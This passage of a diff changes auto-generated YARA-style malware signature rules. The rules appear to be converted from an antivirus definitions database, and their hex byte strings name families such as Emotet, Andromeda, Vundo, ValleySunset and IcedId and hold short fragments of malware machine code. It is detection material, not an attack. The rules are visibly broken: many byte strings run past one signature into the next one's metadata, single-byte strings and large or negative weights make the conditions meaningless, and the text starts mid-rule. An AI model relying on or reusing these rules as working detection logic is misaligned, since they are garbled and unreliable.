90 01 04 0d 73 90 01 04 0a 08 09 16 20 00 10 00 00 6f 90 01 04 0b 07 16 fe 02 13 05 11 05 2c 09 06 09 16 07 6f 90 01 04 07 16 fe 02 13 06 11 06 2d d5 06 6f 90 01 04 13 04 de 11 06 2c 06 06 90 00 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 09 80 01 47 65 } //28261 + $a_6d_3 = {69 6e 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 a8 00 00 0a 00 0a 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 53 70 65 6c 6c 43 68 65 63 6b 65 72 00 02 00 16 01 57 72 61 70 4e 6f 6e 45 78 63 65 70 74 69 6f 6e 54 68 72 6f 77 73 02 00 0b 01 36 31 32 2e 34 2e 31 31 2e 35 33 02 00 16 01 54 65 63 68 6e 6f 6c 6f 67 79 20 4f 6e 65 20 } //17524 + condition: + ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*24941+(#a_54_2 & 1)*28261+(#a_6d_3 & 1)*17524) >=10 + +} +rule _InfrastructureShared_12435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -128937,7 +137454,7 @@ rule _InfrastructureShared_11676{ ((#a_4c_0 & 1)*21539+(#a_2c_1 & 1)*4357+(#a_07_2 & 1)*400+(#a_2d_3 & 1)*4358) >=10 } -rule _InfrastructureShared_11677{ +rule _InfrastructureShared_12436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -128950,7 +137467,7 @@ rule _InfrastructureShared_11677{ ((#a_6c_0 & 1)*16675+(#a_6e_1 & 1)*28016+(#a_03_2 & 1)*17803+(#a_00_3 & 1)*144) >=10 } -rule _InfrastructureShared_11678{ +rule _InfrastructureShared_12437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -128961,7 +137478,7 @@ rule _InfrastructureShared_11678{ ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*100) >=11 } -rule _InfrastructureShared_11679{ +rule _InfrastructureShared_12438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -128974,7 +137491,7 @@ rule _InfrastructureShared_11679{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*793+(#a_90_2 & 1)*1025+(#a_da_3 & 1)*1025) >=11 } -rule _InfrastructureShared_11680{ +rule _InfrastructureShared_12439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -128986,7 +137503,7 @@ rule _InfrastructureShared_11680{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1030+(#a_54_2 & 1)*8528) >=12 } -rule _InfrastructureShared_11681{ +rule _InfrastructureShared_12440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -128999,7 +137516,7 @@ rule _InfrastructureShared_11681{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28632+(#a_90_2 & 1)*2323+(#a_01_3 & 1)*28001) >=13 } -rule _InfrastructureShared_11682{ +rule _InfrastructureShared_12441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 06 00 21 " @@ -129012,7 +137529,7 @@ rule _InfrastructureShared_11682{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25445+(#a_74_2 & 1)*25959+(#a_00_4 & 1)*80) >=13 } -rule _InfrastructureShared_11683{ +rule _InfrastructureShared_12442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -129025,7 +137542,7 @@ rule _InfrastructureShared_11683{ ((#a_54_0 & 1)*18467+(#a_53_2 & 1)*0+(#a_6e_3 & 1)*22330+(#a_63_4 & 1)*27756) >=14 } -rule _InfrastructureShared_11684{ +rule _InfrastructureShared_12443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 06 00 21 " @@ -129039,7 +137556,7 @@ rule _InfrastructureShared_11684{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*-4027+(#a_ff_2 & 1)*257+(#a_42_3 & 1)*28530+(#a_6e_5 & 1)*28787) >=14 } -rule _InfrastructureShared_11685{ +rule _InfrastructureShared_12444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 06 00 21 " @@ -129054,7 +137571,7 @@ rule _InfrastructureShared_11685{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*-7099+(#a_d6_2 & 1)*23812+(#a_13_3 & 1)*5892+(#a_2d_4 & 1)*12345+(#a_6c_5 & 1)*30825) >=14 } -rule _InfrastructureShared_11686{ +rule _InfrastructureShared_12445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 05 00 21 " @@ -129068,7 +137585,7 @@ rule _InfrastructureShared_11686{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*5078+(#a_01_2 & 1)*3+(#a_80_3 & 1)*3+(#a_80_4 & 1)*3) >=15 } -rule _InfrastructureShared_11687{ +rule _InfrastructureShared_12446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -129081,7 +137598,7 @@ rule _InfrastructureShared_11687{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*21248+(#a_00_4 & 1)*10+(#a_80_5 & 1)*1) >=15 } -rule _InfrastructureShared_11688{ +rule _InfrastructureShared_12447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0a 00 21 " @@ -129098,7 +137615,7 @@ rule _InfrastructureShared_11688{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28524+(#a_64_2 & 1)*16686+(#a_00_4 & 1)*101+(#a_6f_5 & 1)*25965+(#a_65_7 & 1)*29954+(#a_5f_8 & 1)*16729+(#a_6c_9 & 1)*30575) >=15 } -rule _InfrastructureShared_11689{ +rule _InfrastructureShared_12448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 04 00 21 " @@ -129111,7 +137628,7 @@ rule _InfrastructureShared_11689{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*99+(#a_41_2 & 1)*27503+(#a_78_3 & 1)*11960) >=20 } -rule _InfrastructureShared_11690{ +rule _InfrastructureShared_12449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 07 00 21 " @@ -129122,12 +137639,12 @@ rule _InfrastructureShared_11690{ $a_01_3 = {00 0c 01 47 65 74 54 69 63 6b 43 6f 75 6e 74 01 00 0e 01 4c 6f 61 64 4c 69 62 72 61 72 79 45 78 41 01 00 0e 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 78 a8 00 00 1e 00 1e 00 03 00 21 23 48 53 54 52 } //26181 $a_6f_4 = {61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 6d 61 6c 6c 2e 41 50 41 00 0a 00 1c 02 73 68 65 6c 6c 5c 6f 70 65 6e 5c 43 6f 6d 6d 61 6e 64 3d 90 02 08 2e 65 78 65 90 00 0a 00 41 00 55 73 65 72 69 6e 69 74 00 00 00 00 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 } //21562 $a_73_5 = {6f 6e 5c 57 69 6e 6c 6f 67 6f 6e 0a 00 0f 00 48 54 54 50 2f 31 2e 31 0d 0a 00 47 45 54 20 00 00 78 a8 00 00 31 01 31 01 0e 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 33 00 64 00 04 01 83 7d c8 7d 64 00 07 01 c7 45 c8 7d 00 00 00 64 00 04 01 83 45 fc 04 01 00 05 01 e9 0d 00 00 00 01 00 } //25942 - $a_0f_6 = {00 00 00 01 00 05 01 e9 13 00 00 00 01 00 05 01 e9 18 00 00 00 01 00 05 01 e9 1a 00 00 00 01 00 05 01 e9 1e 00 00 00 01 00 05 01 e9 26 00 00 00 01 00 05 01 e9 27 00 00 00 01 00 05 01 e9 2a 00 00 00 01 00 05 01 e9 2b 00 00 00 01 00 05 01 e9 30 00 00 00 00 00 78 a9 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 2e 53 47 21 4d 54 42 00 01 00 7c 03 8b 03 8b 7b 04 33 f8 89 45 f4 8b c7 8b cf 83 e0 fc 8b f7 83 c0 04 80 e1 03 0f 45 f0 8b ce e8 90 01 04 89 45 fc 85 c0 74 90 01 01 c1 ee 02 8d 53 08 33 db 21 5d f8 8d 0c b2 8b f1 2b f2 83 c6 03 c1 ee 02 3b d1 0f 47 75 f8 85 f6 74 90 01 01 8b c8 2b ca 8b 02 33 45 f4 43 89 04 11 8d 52 04 3b de 72 90 01 } //261 + $a_0f_6 = {00 00 00 01 00 05 01 e9 13 00 00 00 01 00 05 01 e9 18 00 00 00 01 00 05 01 e9 1a 00 00 00 01 00 05 01 e9 1e 00 00 00 01 00 05 01 e9 26 00 00 00 01 00 05 01 e9 27 00 00 00 01 00 05 01 e9 2a 00 00 00 01 00 05 01 e9 2b 00 00 00 01 00 05 01 e9 30 00 00 00 00 00 78 a8 00 00 65 00 65 00 05 00 21 23 53 4c 46 3a 41 54 54 52 49 42 55 54 45 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 6c 6c 65 79 53 75 6e 73 65 74 2e 42 41 00 64 00 12 03 a8 00 00 00 90 09 06 00 c7 90 01 01 f8 00 00 00 90 00 01 00 12 03 e8 02 00 00 90 09 06 00 c7 90 01 01 fc 00 00 00 90 00 01 00 12 03 f0 02 00 00 90 09 06 00 c7 90 01 01 fc 00 00 00 90 00 01 00 12 03 48 04 00 00 90 09 06 00 c7 90 01 01 fc 00 00 00 90 } //261 condition: ((#a_54_0 & 1)*18467+(#a_c7_1 & 1)*11886+(#a_45_2 & 1)*11897+(#a_01_3 & 1)*26181+(#a_6f_4 & 1)*21562+(#a_73_5 & 1)*25942+(#a_0f_6 & 1)*261) >=21 } -rule _InfrastructureShared_11691{ +rule _InfrastructureShared_12450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1c 00 1c 00 08 00 21 " @@ -129137,12 +137654,12 @@ rule _InfrastructureShared_11691{ $a_69_2 = {72 61 72 79 45 78 41 01 00 0e 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 78 a8 00 00 1e 00 1e 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 6d 61 6c 6c 2e 41 50 41 } //25697 $a_6c_4 = {5c 6f 70 65 6e 5c 43 6f 6d 6d 61 6e 64 3d 90 02 08 2e 65 78 65 90 00 0a 00 41 00 55 73 65 72 69 6e 69 74 00 00 00 00 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 57 69 6e 6c 6f 67 6f 6e 0a 00 0f 00 48 54 54 50 2f } //26739 $a_0d_5 = {0a 00 47 45 54 20 00 00 78 a8 00 00 31 01 31 01 0e 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 } //11825 - $a_7d_7 = {7d 64 00 07 01 c7 45 c8 7d 00 00 00 64 00 04 01 83 45 fc 04 01 00 05 01 e9 0d 00 00 00 01 00 05 01 e9 0f 00 00 00 01 00 05 01 e9 13 00 00 00 01 00 05 01 e9 18 00 00 00 01 00 05 01 e9 1a 00 00 00 01 00 05 01 e9 1e 00 00 00 01 00 05 01 e9 26 00 00 00 01 00 05 01 e9 27 00 00 00 01 00 05 01 e9 2a 00 00 00 01 00 05 01 e9 2b 00 00 00 01 00 05 01 e9 30 00 00 00 00 00 78 a9 00 00 01 00 01 00 01 00 } //260 + $a_7d_7 = {7d 64 00 07 01 c7 45 c8 7d 00 00 00 64 00 04 01 83 45 fc 04 01 00 05 01 e9 0d 00 00 00 01 00 05 01 e9 0f 00 00 00 01 00 05 01 e9 13 00 00 00 01 00 05 01 e9 18 00 00 00 01 00 05 01 e9 1a 00 00 00 01 00 05 01 e9 1e 00 00 00 01 00 05 01 e9 26 00 00 00 01 00 05 01 e9 27 00 00 00 01 00 05 01 e9 2a 00 00 00 01 00 05 01 e9 2b 00 00 00 01 00 05 01 e9 30 00 00 00 00 00 78 a8 00 00 65 00 65 00 05 00 } //260 condition: ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*30240+(#a_69_2 & 1)*25697+(#a_6c_4 & 1)*26739+(#a_0d_5 & 1)*11825+(#a_7d_7 & 1)*260) >=28 } -rule _InfrastructureShared_11692{ +rule _InfrastructureShared_12451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -129154,7 +137671,7 @@ rule _InfrastructureShared_11692{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*17999+(#a_6f_2 & 1)*21562) >=30 } -rule _InfrastructureShared_11693{ +rule _InfrastructureShared_12452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,31 01 31 01 0e 00 21 " @@ -129165,18 +137682,31 @@ rule _InfrastructureShared_11693{ $a_00_3 = {00 00 01 00 05 01 e9 1e 00 00 00 01 00 05 01 e9 26 00 00 00 01 00 05 01 e9 27 } //-5887 $a_e9_5 = {00 } //1280 $a_00_6 = {05 } //0 - $a_00_7 = {00 00 01 00 05 01 e9 30 00 00 00 00 00 78 a9 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 } //-5887 - $a_65_8 = {2e 53 47 21 4d 54 42 00 01 00 7c 03 8b 03 8b 7b 04 33 f8 89 45 f4 8b c7 8b cf 83 e0 fc 8b f7 83 c0 04 80 e1 03 0f 45 f0 8b ce e8 90 01 04 89 45 fc 85 c0 74 90 01 01 c1 ee 02 8d 53 08 33 db 21 5d f8 8d 0c b2 8b f1 2b f2 83 c6 03 c1 ee 02 3b d1 0f 47 75 f8 85 f6 74 90 01 01 8b c8 2b ca 8b 02 33 45 f4 43 89 04 11 8d 52 04 3b de 72 90 01 01 8b 45 f0 } //28525 - $a_90_9 = {01 89 38 8b 45 fc 5f 5e 5b 8b e5 5d c3 90 00 00 00 78 a9 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 6e 64 72 6f 6d 65 64 61 2e 53 49 42 41 21 4d 54 42 00 01 00 6d 02 50 50 6a 00 ff 55 90 01 01 a3 90 01 04 90 02 b0 6a 00 68 90 01 04 68 90 01 04 ff 35 90 1b 01 ff 35 90 01 04 ff } //-16251 - $a_04_10 = {a1 } //-28651 - $a_8a_11 = {88 } //7056 - $a_01_12 = {90 } //-28603 - $a_b6_13 = {90 1b 09 8b 35 90 1b 01 33 c9 83 f0 90 01 01 } //-20478 + $a_00_7 = {00 00 01 00 05 01 e9 30 00 00 00 00 00 78 a8 00 00 65 00 65 00 05 00 21 23 53 4c 46 3a 41 54 54 52 49 42 55 54 45 3a 48 53 54 52 } //-5887 + $a_6f_8 = {61 6e 3a 57 69 6e 36 34 2f 56 61 6c 6c 65 79 53 75 6e 73 65 74 2e 42 41 00 64 00 12 03 a8 00 00 00 90 09 06 00 c7 90 01 01 f8 00 00 00 90 00 01 00 12 03 e8 02 00 00 90 09 06 00 c7 90 01 01 fc 00 00 00 90 00 01 00 12 03 f0 02 00 00 90 09 06 00 c7 90 01 01 fc 00 00 00 90 00 01 00 12 03 48 04 00 00 90 09 06 00 c7 90 01 01 fc 00 00 00 90 00 01 } //21562 + $a_d8_9 = {00 00 90 } //4608 + $a_00_11 = {00 00 90 00 00 00 78 a9 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 2e 53 47 21 4d 54 42 00 01 00 7c 03 8b 03 8b 7b 04 33 f8 89 45 f4 8b c7 8b cf 83 e0 fc 8b f7 83 c0 04 80 e1 03 0f 45 f0 8b ce e8 90 01 04 89 45 fc 85 c0 74 90 01 01 c1 ee 02 8d 53 08 33 db 21 5d f8 8d 0c b2 8b f1 2b f2 83 c6 03 c1 ee 02 3b d1 0f 47 75 f8 85 f6 74 90 01 01 8b c8 2b ca 8b 02 33 45 f4 43 89 04 11 8d 52 04 3b de 72 90 01 01 8b 45 f0 85 c0 74 90 01 01 89 38 8b 45 fc 5f 5e 5b 8b e5 5d c3 90 00 00 00 78 a9 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 6e 64 72 6f 6d 65 64 61 2e 53 49 42 41 21 4d 54 42 00 01 00 6d 02 50 50 6a 00 ff 55 90 01 01 a3 90 } //257 + $a_02_12 = {b0 6a 00 68 90 01 04 68 90 01 04 ff 35 90 1b 01 ff 35 90 01 04 ff 15 90 01 04 a1 90 1b 01 8a 00 88 45 90 01 01 90 02 b0 0f b6 45 90 1b 09 8b 35 90 1b 01 33 c9 83 f0 90 01 01 39 0d 90 1b 03 76 90 01 01 8a 14 0e 32 d0 80 c2 90 01 01 88 14 0e 41 3b 0d 90 1b 03 72 90 01 01 ff d6 90 00 00 00 78 a9 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 49 63 65 64 49 64 2e 53 49 } //1025 + $a_54_13 = {00 01 00 71 02 4c 8b c1 84 c0 75 90 01 01 4c 8b c9 41 ba 90 01 04 41 bb 90 01 04 41 0f b6 11 b8 90 01 04 2b c2 6b c8 90 01 01 41 8b c3 f7 e9 03 d1 c1 fa 90 01 01 8b c2 c1 e8 90 01 01 03 d0 6b c2 90 01 01 2b c8 41 8b c3 83 c1 90 01 } //8514 condition: - ((#a_54_0 & 1)*18467+(#a_e9_1 & 1)*1280+(#a_00_2 & 1)*0+(#a_00_3 & 1)*-5887+(#a_e9_5 & 1)*1280+(#a_00_6 & 1)*0+(#a_00_7 & 1)*-5887+(#a_65_8 & 1)*28525+(#a_90_9 & 1)*-16251+(#a_04_10 & 1)*-28651+(#a_8a_11 & 1)*7056+(#a_01_12 & 1)*-28603+(#a_b6_13 & 1)*-20478) >=305 + ((#a_54_0 & 1)*18467+(#a_e9_1 & 1)*1280+(#a_00_2 & 1)*0+(#a_00_3 & 1)*-5887+(#a_e9_5 & 1)*1280+(#a_00_6 & 1)*0+(#a_00_7 & 1)*-5887+(#a_6f_8 & 1)*21562+(#a_d8_9 & 1)*4608+(#a_00_11 & 1)*257+(#a_02_12 & 1)*1025+(#a_54_13 & 1)*8514) >=305 } -rule _InfrastructureShared_11694{ +rule _InfrastructureShared_12453{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 05 00 21 " + + strings : + $a_46_0 = {41 54 54 52 49 42 55 54 45 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 6c 6c 65 79 53 75 6e 73 65 74 2e 42 41 00 64 00 12 03 a8 00 00 00 90 09 06 00 c7 90 01 01 f8 00 00 00 90 00 01 00 12 03 e8 02 00 00 90 09 } //21283 + $a_90_1 = {01 fc 00 00 00 90 00 01 00 12 03 f0 02 00 00 90 09 06 00 c7 90 01 01 fc 00 00 00 90 00 01 00 12 03 48 04 00 00 90 09 06 00 c7 90 01 01 fc 00 00 00 90 00 01 00 12 03 d8 01 00 00 90 09 06 00 c7 90 01 01 fc 00 00 00 90 00 00 00 78 a9 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 2e 53 47 21 4d 54 42 00 01 00 7c 03 8b 03 8b 7b 04 33 f8 89 45 f4 8b c7 8b cf 83 e0 fc 8b f7 83 c0 04 80 e1 03 0f 45 f0 8b ce e8 90 01 04 89 45 fc 85 c0 74 90 01 01 c1 ee 02 8d 53 08 33 db 21 5d f8 8d 0c b2 8b f1 2b f2 83 c6 03 c1 ee 02 3b d1 0f 47 75 f8 85 f6 74 90 } //6 + $a_c8_2 = {ca 8b 02 33 45 f4 43 89 04 11 8d 52 04 3b de 72 90 01 01 8b 45 f0 85 c0 74 90 01 01 89 38 8b 45 fc 5f 5e 5b 8b e5 5d c3 90 00 00 00 78 a9 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 6e 64 72 6f 6d 65 64 61 2e 53 49 42 41 21 4d 54 42 00 01 00 6d 02 50 50 6a 00 ff 55 90 01 01 a3 90 01 04 90 02 b0 6a 00 68 90 01 04 68 90 01 04 ff 35 90 1b 01 ff 35 } //257 + $a_ff_3 = {90 01 04 a1 } //400 + $a_8a_4 = {88 } //7056 + condition: + ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*6+(#a_c8_2 & 1)*257+(#a_ff_3 & 1)*400+(#a_8a_4 & 1)*7056) >=101 + +} +rule _InfrastructureShared_12454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -129186,7 +137716,7 @@ rule _InfrastructureShared_11694{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11695{ +rule _InfrastructureShared_12455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -129196,7 +137726,7 @@ rule _InfrastructureShared_11695{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11696{ +rule _InfrastructureShared_12456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -129206,7 +137736,7 @@ rule _InfrastructureShared_11696{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11697{ +rule _InfrastructureShared_12457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -129216,7 +137746,7 @@ rule _InfrastructureShared_11697{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11698{ +rule _InfrastructureShared_12458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -129226,7 +137756,7 @@ rule _InfrastructureShared_11698{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11699{ +rule _InfrastructureShared_12459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -129236,7 +137766,7 @@ rule _InfrastructureShared_11699{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11700{ +rule _InfrastructureShared_12460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -129246,7 +137776,7 @@ rule _InfrastructureShared_11700{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11701{ +rule _InfrastructureShared_12461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -129256,7 +137786,7 @@ rule _InfrastructureShared_11701{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11702{ +rule _InfrastructureShared_12462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -129266,7 +137796,7 @@ rule _InfrastructureShared_11702{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11703{ +rule _InfrastructureShared_12463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -129276,7 +137806,7 @@ rule _InfrastructureShared_11703{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11704{ +rule _InfrastructureShared_12464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -129286,7 +137816,7 @@ rule _InfrastructureShared_11704{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11705{ +rule _InfrastructureShared_12465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -129296,7 +137826,7 @@ rule _InfrastructureShared_11705{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11706{ +rule _InfrastructureShared_12466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -129306,7 +137836,7 @@ rule _InfrastructureShared_11706{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11707{ +rule _InfrastructureShared_12467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -129317,7 +137847,7 @@ rule _InfrastructureShared_11707{ ((#a_46_0 & 1)*16675+(#a_1a_1 & 1)*4154) >=1 } -rule _InfrastructureShared_11708{ +rule _InfrastructureShared_12468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -129327,7 +137857,7 @@ rule _InfrastructureShared_11708{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11709{ +rule _InfrastructureShared_12469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -129338,7 +137868,7 @@ rule _InfrastructureShared_11709{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*25964) >=1 } -rule _InfrastructureShared_11710{ +rule _InfrastructureShared_12470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -129349,7 +137879,7 @@ rule _InfrastructureShared_11710{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26708) >=1 } -rule _InfrastructureShared_11711{ +rule _InfrastructureShared_12471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -129362,7 +137892,7 @@ rule _InfrastructureShared_11711{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*14387+(#a_32_2 & 1)*17729+(#a_74_3 & 1)*22954) >=1 } -rule _InfrastructureShared_11712{ +rule _InfrastructureShared_12472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -129376,7 +137906,7 @@ rule _InfrastructureShared_11712{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*-12149+(#a_fc_2 & 1)*-29952+(#a_21_3 & 1)*11877+(#a_01_4 & 1)*16840) >=1 } -rule _InfrastructureShared_11713{ +rule _InfrastructureShared_12473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -129387,7 +137917,7 @@ rule _InfrastructureShared_11713{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28488) >=2 } -rule _InfrastructureShared_11714{ +rule _InfrastructureShared_12474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -129398,7 +137928,7 @@ rule _InfrastructureShared_11714{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25445) >=2 } -rule _InfrastructureShared_11715{ +rule _InfrastructureShared_12475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -129409,7 +137939,7 @@ rule _InfrastructureShared_11715{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1) >=2 } -rule _InfrastructureShared_11716{ +rule _InfrastructureShared_12476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -129420,7 +137950,7 @@ rule _InfrastructureShared_11716{ ((#a_54_0 & 1)*18467+(#a_ca_1 & 1)*2833) >=2 } -rule _InfrastructureShared_11717{ +rule _InfrastructureShared_12477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -129430,7 +137960,7 @@ rule _InfrastructureShared_11717{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11718{ +rule _InfrastructureShared_12478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -129441,7 +137971,7 @@ rule _InfrastructureShared_11718{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-9171) 